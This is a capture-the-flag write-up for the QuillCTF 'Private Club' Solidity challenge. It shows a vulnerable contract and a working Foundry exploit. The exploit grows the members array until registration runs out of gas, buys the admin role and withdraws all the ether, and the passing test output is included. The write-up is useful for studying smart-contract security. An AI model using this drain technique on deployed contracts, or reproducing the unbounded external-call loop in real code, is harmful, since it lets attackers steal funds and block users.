Private Club is a Solidity CTF challenge from QuillCTF.
Solution
In this contract, there is only 1 contract and one foundry setUp file. Contract is not deployed on any testnet.
Objective of CTF is
1. Become a member of a private club.
2. Block future registrations.
3. Withdraw all Ether from the privateClub contract.
So we have 3 different objectives. First we need to become a member of club, second we need to DOS contract somehow and third we need to withdraw all ether from contract.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "openzeppelin-contracts/contracts/access/Ownable.sol";
import "openzeppelin-contracts/contracts/security/ReentrancyGuard.sol";
contract PrivateClub is ReentrancyGuard, Ownable {
uint private registerEndDate;
event setRegEndDate(uint registerEndDate);
event memberWithdrawevent(address member, address to, uint amount);
address[] public members_;
mapping(address => bool) public members;
receive() external payable {}
uint public membersCount;
function setRegisterEndDate(uint _newRegisterEndDate) external onlyOwner {
registerEndDate = _newRegisterEndDate;
emit setRegEndDate(registerEndDate);
}
function becomeMember(
address[] calldata _members
) external payable nonReentrant {
require(block.timestamp < registerEndDate, "registration closed");
require(_members.length == membersCount, "wrong members length");
require(msg.value == membersCount * 1 ether, "need more ethers");
for (uint i = 0; i < _members.length; i++) {
_members[i].call{value: 1 ether}("");
}
membersCount += 1;
members[msg.sender] = true;
members_.push(msg.sender);
}
modifier onlyMember() {
bool member;
for (uint i = 0; i < membersCount; i++) {
if (members_[i] == msg.sender) {
member = true;
}
}
require(member == true, "you are not a member");
_;
}
function adminWithdraw(address to, uint amount) external onlyOwner {
payable(to).call{value: amount}("");
}
function addMemberByAdmin(address newMember) external onlyOwner {
membersCount += 1;
members[newMember] = true;
members_.push(newMember);
}
function buyAdminRole(address newAdmin) external payable onlyMember {
require(msg.value == 10 ether, "need 10 ethers");
_transferOwnership(newAdmin);
}
}
If we take a look to the setup contract it can be seen that vm.deal(hacker, 10 ether);
hacker has 10 ether already so it means we can call buyAdminRole
with 10 ether and withdraw all balance from contract with the function adminWithdraw
. We can also see that becoming a club member is not that hard if we have enough money. We can call becomeMember
function with enough ethers to be a member. We just need to figure it out how can we DOS the contract.
function becomeMember(
address[] calldata _members
) external payable nonReentrant {
require(block.timestamp < registerEndDate, "registration closed");
require(_members.length == membersCount, "wrong members length");
require(msg.value == membersCount * 1 ether, "need more ethers");
for (uint i = 0; i < _members.length; i++) {
_members[i].call{value: 1 ether}("");
}
membersCount += 1;
members[msg.sender] = true;
members_.push(msg.sender);
}
It can be seen that on the becomeMember
function we need to give a list _members
which is equal to the global membersCount
so it can't be bypassed. And function is increasing that membersCount
in every run. So it means this function must call _members[i].call{value: 1 ether}("");
this statement incrementing by 1 each time. Since .call
is a gas consuming operation if we call this function couple of times, this function will revert due to out of gas.
POC
- Hacker calls
becomeMember
function with giving enough time ofhacker
value inside the_members
array - That function will give back the given ethers in loop, since array is full of hacker it will return them all
- Keep calling
becomeMember
with given gas limitblockGasLimit
until it reverts - When it reverts break the loop and call the
buyAdminRole
with 10 ether and right after that calladminWithdraw
.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "../src/PrivateClub.sol";
contract Hack is Test {
address[] public members_;
PrivateClub club;
address clubAdmin = makeAddr("clubAdmin");
address adminFriend = makeAddr("adminFriend");
address user2 = makeAddr("user2");
address user3 = makeAddr("user3");
address user4 = makeAddr("user4");
address hacker = makeAddr("hacker");
uint blockGasLimit = 120000;
function setUp() public {
vm.deal(clubAdmin, 100 ether);
vm.deal(hacker, 10 ether);
vm.deal(user2, 10 ether);
vm.deal(user3, 10 ether);
vm.deal(user4, 10 ether);
vm.startPrank(clubAdmin);
club = new PrivateClub();
club.setRegisterEndDate(block.timestamp + 5 days);
club.addMemberByAdmin(adminFriend);
address(club).call{value: 100 ether}("");
vm.stopPrank();
vm.startPrank(user2);
address[] memory mForUser2 = new address[](1);
mForUser2[0] = adminFriend;
club.becomeMember{value: 1 ether}(mForUser2);
vm.stopPrank();
vm.startPrank(user3);
address[] memory mForUser3 = new address[](2);
mForUser3[0] = adminFriend;
mForUser3[1] = user2;
club.becomeMember{value: 2 ether}(mForUser3);
vm.stopPrank();
}
function test_attack() public {
vm.startPrank(hacker);
// task1: become member of the club and
// block future registrations (reason: out of gas - block gas limit)
// solution:
uint membersCount = club.membersCount();
for(uint i = 0; i < membersCount; ++i){
members_.push(hacker);
}
while(true){
(bool success, bytes memory ret) = address(club).call{value: members_.length * 1 ether, gas: blockGasLimit}(
abi.encodeWithSignature(
"becomeMember(address[])", members_
)
);
if(!success){
break;
}
membersCount = club.membersCount();
for(uint i = members_.length; i < membersCount; ++i){
members_.push(hacker);
}
}
vm.stopPrank();
// check - hacker is member
assertTrue(club.members(hacker));
// check - user4 can not become member - blockGasLimit
vm.startPrank(user4);
address[] memory mForUser4 = new address[](club.membersCount());
for (uint i = 0; i < club.membersCount(); i++) {
mForUser4[i] = club.members_(i);
}
uint etherAmount = mForUser4.length * 1 ether;
uint gasleftbeforeTxStart = gasleft();
club.becomeMember{value: etherAmount}(mForUser4);
uint gasleftAfterTxStart = gasleft();
assertGt(gasleftbeforeTxStart - gasleftAfterTxStart, blockGasLimit);
vm.stopPrank();
vm.startPrank(hacker);
// task2: buy admin role and withdraw all ether from the club
// solution:
club.buyAdminRole{value: 10 ether}(hacker);
club.adminWithdraw(hacker, address(club).balance);
// check - hacker is owner of club
assertEq(club.owner(), hacker);
assertGt(hacker.balance, 110000000000000000000 - 1);
}
}
> forge test -vv
[⠆] Compiling...
[⠑] Compiling 1 files with 0.8.7
[⠢] Solc 0.8.7 finished in 4.74s
Compiler run successful
Running 1 test for test/PrivateClub.t.sol:Hack
[PASS] test_attack() (gas: 1179280)
Test result: ok. 1 passed; 0 failed; finished in 2.81ms